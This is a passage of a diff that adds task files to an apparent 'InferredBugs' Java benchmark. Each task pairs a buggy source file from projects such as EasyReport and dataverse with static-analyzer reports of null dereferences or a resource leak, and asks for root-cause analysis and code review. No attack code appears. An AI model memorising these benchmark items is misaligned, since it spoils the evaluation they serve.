+    /*-------------- Iterators --------------*/
+
+    AscendingIter ascendingIter() {
+        return new AscendingIter();
+    }
+
+    AscendingIter ascendingIter(K from, boolean inclusive) {
+        return new AscendingIter(from, inclusive);
+    }
+
+    DescendingIter descendingIter() {
+        return new DescendingIter();
+    }
+
+    DescendingIter descendingIter(K from, boolean inclusive) {
+        return new DescendingIter(from, inclusive);
+    }
+
+    interface ChunkIter {
+        boolean hasNext();
+
+        int next();
+    }
+
+    class AscendingIter implements ChunkIter {
+
+        private int next;
+
+        AscendingIter() {
+            next = getEntryFieldInt(HEAD_NODE, OFFSET.NEXT);
+            long valueReference = INVALID_VALUE_REFERENCE;
+            if (next != Chunk.NONE) {
+                valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+            }
+            while (next != Chunk.NONE && valueReference == INVALID_VALUE_REFERENCE) {
+                next = getEntryFieldInt(next, OFFSET.NEXT);
+                if (next != Chunk.NONE) {
+                    valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+                }
+            }
+        }
+
+        AscendingIter(K from, boolean inclusive) {
+            next = getEntryFieldInt(binaryFind(from), OFFSET.NEXT);
+
+            long valueReference = INVALID_VALUE_REFERENCE;
+            int compare = -1;
+            if (next != Chunk.NONE) {
+                compare = comparator.compareKeyAndSerializedKey(from, readKey(next));
+                valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+            }
+
+            while (next != Chunk.NONE && (compare > 0 || (compare >= 0 && !inclusive) || valueReference == INVALID_VALUE_REFERENCE)) {
+                next = getEntryFieldInt(next, OFFSET.NEXT);
+                if (next != Chunk.NONE) {
+                    valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+                    compare = comparator.compareKeyAndSerializedKey(from, readKey(next));
+                }
+            }
+        }
+
+        private void advance() {
+            next = getEntryFieldInt(next, OFFSET.NEXT);
+            long valueReference = INVALID_VALUE_REFERENCE;
+            if (next != Chunk.NONE) {
+                valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+            }
+            while (next != Chunk.NONE && valueReference == INVALID_VALUE_REFERENCE) {
+                next = getEntryFieldInt(next, OFFSET.NEXT);
+                if (next != Chunk.NONE) {
+                    valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+                }
+            }
+        }
+
+        @Override
+        public boolean hasNext() {
+            return next != Chunk.NONE;
+        }
+
+        @Override
+        public int next() {
+            int toReturn = next;
+            advance();
+            return toReturn;
+        }
+    }
+
+    class DescendingIter implements ChunkIter {
+
+        private int next;
+        private int anchor;
+        private int prevAnchor;
+        private final IntStack stack;
+        private final K from;
+        private boolean inclusive;
+
+        DescendingIter() {
+            from = null;
+            stack = new IntStack(entries.length / FIELDS);
+            int sortedCnt = sortedCount.get();
+            anchor = sortedCnt == 0 ? HEAD_NODE : (sortedCnt - 1) * (FIELDS) + 1; // this is the last sorted entry
+            stack.push(anchor);
+            initNext();
+        }
+
+        DescendingIter(K from, boolean inclusive) {
+            this.from = from;
+            this.inclusive = inclusive;
+            stack = new IntStack(entries.length / FIELDS);
+            anchor = binaryFind(from);
+            stack.push(anchor);
+            initNext();
+        }
+
+        private void initNext() {
+            traverseLinkedList();
+            advance();
+        }
+
+        /**
+         * use stack to find a valid next, removed items can't be next
+         */
+        private void findNewNextInStack() {
+            if (stack.empty()) {
+                next = Chunk.NONE;
+                return;
+            }
+            next = stack.pop();
+            long valueReference = INVALID_VALUE_REFERENCE;
+            if (next != Chunk.NONE) {
+                valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+            }
+            while (next != Chunk.NONE && valueReference == INVALID_VALUE_REFERENCE) {
+                if (!stack.empty()) {
+                    next = stack.pop();
+                    if (next != Chunk.NONE) {
+                        valueReference = getEntryFieldLong(next, OFFSET.VALUE_REFERENCE);
+                    }
+                } else {
+                    next = Chunk.NONE;
+                    return;
+                }
+            }
+        }
+
+        /**
+         * fill the stack
+         */
+        private void traverseLinkedList() {
+            assert stack.size() == 1; // ancor is in the stack
+            if (prevAnchor == getEntryFieldInt(anchor, OFFSET.NEXT)) {
+                // there is no next;
+                next = Chunk.NONE;
+                return;
+            }
+            next = getEntryFieldInt(anchor, OFFSET.NEXT);
+            if (from == null) {
+                while (next != Chunk.NONE) {
+                    stack.push(next);
+                    next = getEntryFieldInt(next, OFFSET.NEXT);
+                }
+            } else {
+                if (inclusive) {
+                    while (next != Chunk.NONE && comparator.compareKeyAndSerializedKey(from, readKey(next)) >= 0) {
+                        stack.push(next);
+                        next = getEntryFieldInt(next, OFFSET.NEXT);
+                    }
+                } else {
+                    while (next != Chunk.NONE && comparator.compareKeyAndSerializedKey(from, readKey(next)) > 0) {
+                        stack.push(next);
+                        next = getEntryFieldInt(next, OFFSET.NEXT);
+                    }
+                }
+            }
+        }
+
+        /**
+         * find new valid anchor
+         */
+        private void findNewAnchor() {
+            assert stack.empty();
+            prevAnchor = anchor;
+            if (anchor == HEAD_NODE) {
+                next = Chunk.NONE; // there is no more in this chunk
+                return;
+            } else if (anchor == FIRST_ITEM) {
+                anchor = HEAD_NODE;
+            } else {
+                anchor = anchor - FIELDS;
+            }
+            stack.push(anchor);
+        }
+
+        private void advance() {
+            while (true) {
+                findNewNextInStack();
+                if (next != Chunk.NONE) {
+                    return;
+                }
+                // there is no next in stack
+                if (anchor == HEAD_NODE) {
+                    // there is no next at all
+                    return;
+                }
+                findNewAnchor();
+                traverseLinkedList();
+            }
+        }
+
+        @Override
+        public boolean hasNext() {
+            return next != Chunk.NONE;
+        }
+
+        @Override
+        public int next() {
+            int toReturn = next;
+            advance();
+            return toReturn;
+        }
+
+    }
+
+    /**
+     * just a simple stack of int, implemented with int array
+     */
+
+    static class IntStack {
+
+        private final int[] stack;
+        private int top;
+
+        IntStack(int size) {
+            stack = new int[size];
+            top = 0;
+        }
+
+        void push(int i) {
+            if (top == stack.length) {
+                throw new ArrayIndexOutOfBoundsException();
+            }
+            stack[top] = i;
+            top++;
+        }
+
+        int pop() {
+            if (empty()) {
+                throw new EmptyStackException();
+            }
+            top--;
+            return stack[top];
+        }
+
+        boolean empty() {
+            return top == 0;
+        }
+
+        int size() {
+            return top;
+        }
+
+    }
+
+    /*-------------- Statistics --------------*/
+
+    /**
+     * This class contains information about chunk utilization.
+     */
+    static class Statistics {
+        private final AtomicInteger addedCount = new AtomicInteger(0);
+        private int initialSortedCount = 0;
+
+        /**
+         * Initial sorted count here is immutable after chunk re-balance
+         */
+        void updateInitialSortedCount(int sortedCount) {
+            this.initialSortedCount = sortedCount;
+        }
+
+        /**
+         * @return number of items chunk will contain after compaction.
+         */
+        int getCompactedCount() {
+            return initialSortedCount + getAddedCount();
+        }
+
+        /**
+         * Incremented when put a key that was removed before
+         */
+        void incrementAddedCount() {
+            addedCount.incrementAndGet();
+        }
+
+        /**
+         * Decrement when remove a key that was put before
+         */
+        void decrementAddedCount() {
+            addedCount.decrementAndGet();
+        }
+
+        int getAddedCount() {
+            return addedCount.get();
+        }
+
+    }
+
+    /**
+     * @return statistics object containing approximate utilization information.
+     */
+    Statistics getStatistics() {
+        return statistics;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `buildValueSlice(newValueReference)` could be null and is dereferenced by call to `releaseSlice(...)` at line 396.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Chunk.releaseValue(long)
+
+### Procedure Id:
+com.oath.oak.Chunk.releaseValue(long):void.5381b532517c63d765b422f0d6fe0707
+
+### File:
+core/src/main/java/com/oath/oak/Chunk.java
+
+### Key:
+Chunk.java|releaseValue|NULL_DEREFERENCE
+
+### Node Key:
+4ccf2cdec4d9aa1f5a688d2290975408
+
+### Hash:
+6769d2a95083575a172257e4e1d6648b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3748/instruction.md b/inferredbugs-3748/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e0fcd056eb549f7beef38383dec1fb2baf3b38dc
--- /dev/null
+++ b/inferredbugs-3748/instruction.md
@@ -0,0 +1,172 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** EasyReport
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.easytoolsoft.easyreport.web.controllers;
+
+import java.util.List;
+import java.util.Map;
+
+import javax.annotation.Resource;
+import javax.servlet.http.HttpServletRequest;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.servlet.ModelAndView;
+
+import com.alibaba.fastjson.JSONObject;
+import com.easytoolsoft.easyreport.engine.data.ReportDataSet;
+import com.easytoolsoft.easyreport.engine.exception.NotFoundLayoutColumnException;
+import com.easytoolsoft.easyreport.engine.exception.SQLQueryException;
+import com.easytoolsoft.easyreport.engine.exception.TemplatePraseException;
+import com.easytoolsoft.easyreport.exception.QueryParamsException;
+import com.easytoolsoft.easyreport.po.ReportingPo;
+import com.easytoolsoft.easyreport.service.ReportingChartService;
+import com.easytoolsoft.easyreport.service.ReportingGenerationService;
+import com.easytoolsoft.easyreport.service.ReportingService;
+import com.easytoolsoft.easyreport.view.EasyUIQueryFormView;
+import com.easytoolsoft.easyreport.viewmodel.HtmlFormElement;
+
+/**
+ * 报表图表生成控制器
+ */
+@Controller
+@RequestMapping(value = "/report/chart")
+public class ChartingController extends AbstractController {
+	@Resource
+	private ReportingService reportingService;
+	@Resource
+	private ReportingGenerationService generationService;
+	@Resource
+	private ReportingChartService reportChartService;
+
+	@RequestMapping(value = { "/{uid}" })
+	public ModelAndView index(@PathVariable String uid, HttpServletRequest request) {
+		ModelAndView modelAndView = new ModelAndView("report/chart");
+
+		try {
+			ReportingPo po = reportingService.getByUid(uid);
+			Map<String, Object> buildinParams = generationService.getBuildInParameters(request.getParameterMap(), po.getDataRange());
+			List<HtmlFormElement> formElements = generationService.getFormElements(po, buildinParams, 0);
+			EasyUIQueryFormView formView = new EasyUIQueryFormView();
+			modelAndView.addObject("uid", uid);
+			modelAndView.addObject("id", po.getId());
+			modelAndView.addObject("name", po.getName());
+			modelAndView.addObject("comment", po.getComment().trim());
+			modelAndView.addObject("formHtmlText", formView.getFormHtmlText(formElements));
+		} catch (QueryParamsException | TemplatePraseException ex) {
+			modelAndView.addObject("message", ex.getMessage());
+			this.logException("查询参数生成失败", ex);
+		} catch (Exception ex) {
+			modelAndView.addObject("message", "查询参数生成失败！请联系管理员.");
+			this.logException("查询参数生成失败", ex);
+		}
+
+		return modelAndView;
+	}
+
+	@RequestMapping(value = "/getData", method = RequestMethod.POST)
+	@ResponseBody
+	public JSONObject getData(String uid, Integer id, HttpServletRequest request) {
+		JSONObject jsonObject = new JSONObject();
+		jsonObject.put("dimColumnSelects", "");
+		jsonObject.put("dimColumns", null);
+		jsonObject.put("statColumns", null);
+		jsonObject.put("dataRows", null);
+		jsonObject.put("msg", "");
+
+		if (id == null) {
+			return jsonObject;
+		}
+
+		try {
+			ReportingPo po = reportingService.getByUid(uid);
+			Map<String, Object> formParameters = generationService.getFormParameters(request.getParameterMap(), po.getDataRange());
+			ReportDataSet reportData = generationService.getReportDataSet(po, formParameters);
+			jsonObject.put("dimColumnSelects", reportChartService.buildDimColumnsHtml(reportData));
+			jsonObject.put("dimColumns", reportChartService.getDimColumns(reportData));
+			jsonObject.put("statColumns", reportChartService.getStatColumns(reportData));
+			jsonObject.put("dataRows", reportChartService.getDataRows(reportData));
+		} catch (QueryParamsException | NotFoundLayoutColumnException | SQLQueryException | TemplatePraseException ex) {
+			jsonObject.put("msg", ex.getMessage());
+			this.logException("报表生成失败", ex);
+		} catch (Exception ex) {
+			jsonObject.put("msg", "报表生成失败！请联系管理员。");
+			this.logException("报表生成失败", ex);
+		}
+
+		return jsonObject;
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `po` last assigned on line 47 could be null and is dereferenced at line 48.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ModelAndView ChartingController.index(String,HttpServletRequest)
+
+### Procedure Id:
+com.easytoolsoft.easyreport.web.controllers.ChartingController.index(java.lang.String,javax.servlet..9cf5fdbefe447f530d55e13d5f320c57
+
+### File:
+easyreport-web/src/main/java/com/easytoolsoft/easyreport/web/controllers/ChartingController.java
+
+### Key:
+ChartingController.java|index|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+1e1e0ad9984a4643041e6967ac5891dc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3749/instruction.md b/inferredbugs-3749/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..751336eb6c87d430a26f2ddb8ead725dba6191b2
--- /dev/null
+++ b/inferredbugs-3749/instruction.md
@@ -0,0 +1,235 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** dataverse
+**Bug ID:** 20
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package edu.harvard.iq.dataverse.api.datadeposit;
+
+import edu.harvard.iq.dataverse.DataFile;
+import edu.harvard.iq.dataverse.Dataset;
+import edu.harvard.iq.dataverse.DatasetServiceBean;
+import edu.harvard.iq.dataverse.Dataverse;
+import edu.harvard.iq.dataverse.DataverseUser;
+import edu.harvard.iq.dataverse.FileMetadata;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+import javax.ejb.EJB;
+import javax.inject.Inject;
+import org.apache.abdera.i18n.iri.IRI;
+import org.apache.abdera.i18n.iri.IRISyntaxException;
+import org.apache.abdera.model.AtomDate;
+import org.swordapp.server.AtomStatement;
+import org.swordapp.server.AuthCredentials;
+import org.swordapp.server.ResourcePart;
+import org.swordapp.server.Statement;
+import org.swordapp.server.StatementManager;
+import org.swordapp.server.SwordAuthException;
+import org.swordapp.server.SwordConfiguration;
+import org.swordapp.server.SwordError;
+import org.swordapp.server.SwordServerException;
+import org.swordapp.server.UriRegistry;
+
+public class StatementManagerImpl implements StatementManager {
+
+    private static final Logger logger = Logger.getLogger(StatementManagerImpl.class.getCanonicalName());
+
+    @EJB
+    DatasetServiceBean datasetService;
+    @Inject
+    SwordAuth swordAuth;
+    @Inject
+    UrlManager urlManager;
+    SwordConfigurationImpl swordConfiguration = new SwordConfigurationImpl();
+
+    @Override
+    public Statement getStatement(String editUri, Map<String, String> map, AuthCredentials authCredentials, SwordConfiguration swordConfiguration) throws SwordServerException, SwordError, SwordAuthException {
+        this.swordConfiguration = (SwordConfigurationImpl) swordConfiguration;
+        swordConfiguration = (SwordConfigurationImpl) swordConfiguration;
+        if (authCredentials == null) {
+            throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "auth credentials are null");
+        }
+        if (swordAuth == null) {
+            throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "swordAuth is null");
+        }
+
+        DataverseUser vdcUser = swordAuth.auth(authCredentials);
+        urlManager.processUrl(editUri);
+        String globalId = urlManager.getTargetIdentifier();
+        if (urlManager.getTargetType().equals("study") && globalId != null) {
+
+            logger.fine("request for sword statement by user " + vdcUser.getUserName());
+
+//            Study study = null;
+            /**
+             * @todo don't hard code this, obviously. In DVN 3.x we had a method
+             * for editStudyService.getStudyByGlobalId(globalId)
+             */
+//            Study study = editStudyService.getStudyByGlobalId(globalId);
+            long databaseIdForRoastingAtHomeDataset = 10;
+            Dataset study = datasetService.find(databaseIdForRoastingAtHomeDataset);
+//            try {
+//                study = studyService.getStudyByGlobalId(globalId);
+//            } catch (EJBException ex) {
+//                throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "Could not find study based on global id (" + globalId + ") in URL: " + editUri);
+//            }
+            Long studyId;
+            try {
+                studyId = study.getId();
+            } catch (NullPointerException ex) {
+                throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "couldn't find study with global ID of " + globalId);
+            }
+
+            Dataverse dvThatOwnsStudy = study.getOwner();
+            if (swordAuth.hasAccessToModifyDataverse(vdcUser, dvThatOwnsStudy)) {
+                /**
+                 * @todo getIdentifier is equivalent to getGlobalId, right?
+                 */
+//                String feedUri = urlManager.getHostnamePlusBaseUrlPath(editUri) + "/edit/study/" + study.getGlobalId();
+                String feedUri = urlManager.getHostnamePlusBaseUrlPath(editUri) + "/edit/study/" + study.getIdentifier();
+                /**
+                 * @todo is it safe to use this?
+                 */
+                String author = study.getLatestVersion().getAuthorsStr();
+                String title = study.getLatestVersion().getTitle();
+                Date lastUpdated = study.getLatestVersion().getLastUpdateTime();
+                if (lastUpdated == null) {
+                    /**
+                     * @todo why is this date null?
+                     */
+                    logger.info("why is lastUpdated null?");
+                    lastUpdated = new Date();
+                }
+                AtomDate atomDate = new AtomDate(lastUpdated);
+//                AtomDate atomDate = new AtomDate(study.getLatestVersion().getLastUpdateTime());
+                String datedUpdated = atomDate.toString();
+                Statement statement = new AtomStatement(feedUri, author, title, datedUpdated);
+                Map<String, String> states = new HashMap<String, String>();
+                states.put("latestVersionState", study.getLatestVersion().getVersionState().toString());
+                /**
+                 * @todo DVN 3.x had a studyLock. What's the equivalent in 4.0?
+                 */
+//                StudyLock lock = study.getStudyLock();
+//                if (lock != null) {
+//                    states.put("locked", "true");
+//                    states.put("lockedDetail", lock.getDetail());
+//                    states.put("lockedStartTime", lock.getStartTime().toString());
+//                } else {
+//                    states.put("locked", "false");
+//                }
+                statement.setStates(states);
+                List<FileMetadata> fileMetadatas = study.getLatestVersion().getFileMetadatas();
+                for (FileMetadata fileMetadata : fileMetadatas) {
+                    DataFile studyFile = fileMetadata.getDataFile();
+                    // We are exposing the filename for informational purposes. The file id is what you
+                    // actually operate on to delete a file, etc.
+                    //
+                    // Replace spaces to avoid IRISyntaxException
+                    String fileNameFinal = fileMetadata.getLabel().replace(' ', '_');
+                    String studyFileUrlString = urlManager.getHostnamePlusBaseUrlPath(editUri) + "/edit-media/file/" + studyFile.getId() + "/" + fileNameFinal;
+                    IRI studyFileUrl;
+                    try {
+                        studyFileUrl = new IRI(studyFileUrlString);
+                    } catch (IRISyntaxException ex) {
+                        throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "Invalid URL for file ( " + studyFileUrlString + " ) resulted in " + ex.getMessage());
+                    }
+                    ResourcePart resourcePart = new ResourcePart(studyFileUrl.toString());
+                    /**
+                     * @todo get this working. show the actual file type
+                     */
+//                    resourcePart.setMediaType(studyFile.getOriginalFileFormat());
+                    resourcePart.setMediaType("application/octet-stream");
+                    /**
+                     * @todo: Why are properties set on a ResourcePart not
+                     * exposed when you GET a Statement?
+                     */
+//                    Map<String, String> properties = new HashMap<String, String>();
+//                    properties.put("filename", studyFile.getFileName());
+//                    properties.put("category", studyFile.getLatestCategory());
+//                    properties.put("originalFileType", studyFile.getOriginalFileType());
+//                    properties.put("id", studyFile.getId().toString());
+//                    properties.put("UNF", studyFile.getUnf());
+//                    resourcePart.setProperties(properties);
+                    statement.addResource(resourcePart);
+                }
+                return statement;
+            } else {
+                throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "user " + vdcUser.getUserName() + " is not authorized to view study with global ID " + globalId);
+            }
+        } else {
+            throw new SwordError(UriRegistry.ERROR_BAD_REQUEST, "Could not determine target type or identifier from URL: " + editUri);
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `dvThatOwnsStudy` last assigned on line 80 could be null and is dereferenced by call to `hasAccessToModifyDataverse(...)` at line 81.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Statement StatementManagerImpl.getStatement(String,Map,AuthCredentials,SwordConfiguration)
+
+### Procedure Id:
+edu.harvard.iq.dataverse.api.datadeposit.StatementManagerImpl.getStatement(java.lang.String,java.uti.0a263a14cdcd80b8c80e50c92e42ec26
+
+### File:
+src/main/java/edu/harvard/iq/dataverse/api/datadeposit/StatementManagerImpl.java
+
+### Key:
+StatementManagerImpl.java|getStatement|NULL_DEREFERENCE
+
+### Node Key:
+1fcbfe23e51dae556fce5df2a3f2e459
+
+### Hash:
+f79e0c7441ca6627cf8e97bc6362f4f4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3770/instruction.md b/inferredbugs-3770/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9bd50aaa9115721b8c57df0eabec92603ed7298e
--- /dev/null
+++ b/inferredbugs-3770/instruction.md
@@ -0,0 +1,241 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** dataverse
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+package edu.harvard.iq.dataverse.api;
+
+import java.lang.reflect.Type;
+import java.lang.annotation.Annotation;
+import javax.ejb.Singleton;
+import java.io.InputStream; 
+import java.io.OutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+import javax.ws.rs.WebApplicationException;
+
+import javax.ws.rs.core.MediaType;
+import javax.ws.rs.core.MultivaluedMap;
+import javax.ws.rs.core.Response;
+
+import javax.ws.rs.ext.MessageBodyWriter;
+import javax.ws.rs.ext.Provider;
+
+import edu.harvard.iq.dataverse.DataFile;
+import edu.harvard.iq.dataverse.dataaccess.*;
+
+/**
+ *
+ * @author Leonid Andreev
+ */
+@Singleton
+@Provider
+public class DownloadInstanceWriter implements MessageBodyWriter<DownloadInstance> {
+
+    @Override
+    public boolean isWriteable(Class<?> clazz, Type type, Annotation[] annotation, MediaType mediaType) {
+        return clazz == DownloadInstance.class;
+    }
+
+    @Override
+    public long getSize(DownloadInstance di, Class<?> clazz, Type type, Annotation[] annotation, MediaType mediaType) {
+        return -1;
+    }
+
+    /*
+    @Override
+    public void writeTo(DownloadInstance di, Class<?> clazz, Type type, Annotation[] annotation, MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream outstream) throws IOException, WebApplicationException {
+
+        ByteArrayOutputStream generatedStream = di.getOutStream();
+        byte[] generatedBytes = generatedStream.toByteArray();
+
+        outstream.write(generatedBytes, 0, generatedBytes.length);
+            // in prod. we'll want to use the 
+        // outstream.write(byte[], offset, lenght) version
+        //
+        // do i need to close outstream?
+    }
+    */
+    
+    @Override
+    public void writeTo(DownloadInstance di, Class<?> clazz, Type type, Annotation[] annotation, MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream outstream) throws IOException, WebApplicationException {
+
+        if (di.getDownloadInfo() != null && di.getDownloadInfo().getDataFile() != null) {
+            DataAccessRequest daReq = new DataAccessRequest();
+            
+            
+            
+            DataFile sf = di.getDownloadInfo().getDataFile();
+            DataAccessObject accessObject = DataAccess.createDataAccessObject(sf, daReq);
+                        
+            if (accessObject != null) {
+                accessObject.open();
+                
+                if (di.getConversionParam() != null) {
+                    // Image Thumbnail conversion: 
+                    
+                    if (di.getConversionParam().equals("imageThumb")) {
+                        accessObject = ImageThumbConverter.getImageThumb(sf, (FileAccessObject)accessObject); 
+                    }
+                    /* No other download services are supported just yet. 
+                    else if (di.getConversionParam().equals("TermsOfUse")) {
+                        accessObject = ExportTermsOfUse.export(sf.getStudy());
+                    } else if (di.getConversionParam().equals("package")) {
+                        if ("WithTermsOfUse".equals(di.getConversionParamValue())) {
+                            accessObject = PackageWithTermsOfUse.repackage(sf, (FileAccessObject)accessObject);
+                        }
+                    }
+                    */
+                    
+                    /* No special services for "Subsettable" files just yet:
+                    
+                    if (sf.isTabularData()) {
+                        if (di.getConversionParam().equals("noVarHeader")) {
+                            accessObject.setNoVarHeader(Boolean.TRUE);
+                            accessObject.setVarHeader(null);
+                        } else if (di.getConversionParam().equals("fileFormat")) {
+                            
+                            if ("original".equals(di.getConversionParamValue())) {
+                                accessObject = StoredOriginalFile.retrieve(sf, (FileAccessObject)accessObject);
+                            } else {
+                                // Other format conversions: 
+                                String requestedMimeType = di.getServiceFormatType(di.getConversionParam(), di.getConversionParamValue()); 
+                                if (requestedMimeType == null) {
+                                    // default mime type, in case real type is unknown;
+                                    // (this shouldn't happen in real life - but just in case): 
+                                    requestedMimeType = "application/octet-stream";
+                                } 
+                                accessObject = 
+                                        DataFileConverter.performFormatConversion(
+                                        sf, 
+                                        (FileAccessObject)accessObject, 
+                                        di.getConversionParamValue(), requestedMimeType);
+                            }
+                        }
+                    }
+                    */
+                    
+                    if (accessObject == null) {
+                        throw new WebApplicationException(Response.Status.SERVICE_UNAVAILABLE);
+                    }
+                }
+                
+                InputStream instream = accessObject.getInputStream();
+                if (instream != null) {
+                    // headers:
+                    
+                    String fileName = accessObject.getFileName(); 
+                    String mimeType = accessObject.getMimeType(); 
+                    
+                    // Provide both the "Content-disposition" and "Content-Type" headers,
+                    // to satisfy the widest selection of browsers out there. 
+                    
+                    httpHeaders.add("Content-disposition", "attachment; filename=\"" + fileName + "\"");
+                    httpHeaders.add("Content-Type", mimeType + "; name=\"" + fileName);
+                    
+                    // (the httpHeaders map must be modified *before* writing any
+                    // data in the output stream! 
+                                                              
+                    int bufsize;
+                    byte [] bffr = new byte[4*8192];
+                    
+                    // before writing out any bytes from the input stream, flush
+                    // any extra content, such as the variable header for the 
+                    // subsettable files:
+                    
+                    if (accessObject.getVarHeader() != null) {
+                        outstream.write(accessObject.getVarHeader().getBytes());
+                    }
+
+                    while ((bufsize = instream.read(bffr)) != -1) {
+                        outstream.write(bffr, 0, bufsize);
+                    }
+
+                    instream.close();
+                    return;
+                }
+            }
+        }
+        
+        throw new WebApplicationException(Response.Status.NOT_FOUND);
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `getImageThumb(...)` at line 80 is not released after line 162.
+**Note**: potential exception at line 152
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DownloadInstanceWriter.writeTo(DownloadInstance,Class,Type,java.lang.annotation.Annotation[],MediaType,MultivaluedMap,OutputStream)
+
+### Procedure Id:
+edu.harvard.iq.dataverse.api.DownloadInstanceWriter.writeTo(edu.harvard.iq.dataverse.api.DownloadIns.1a888d2dc1b694bbbed485b7f1664a5d
+
+### File:
+src/main/java/edu/harvard/iq/dataverse/api/DownloadInstanceWriter.java
+
+### Key:
+DownloadInstanceWriter.java|writeTo|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+666409f3023bb8a50a8cf07b4864b444
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3776/instruction.md b/inferredbugs-3776/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5ce9465b5f594c5e5f111f54808106b81fd95ce0
--- /dev/null
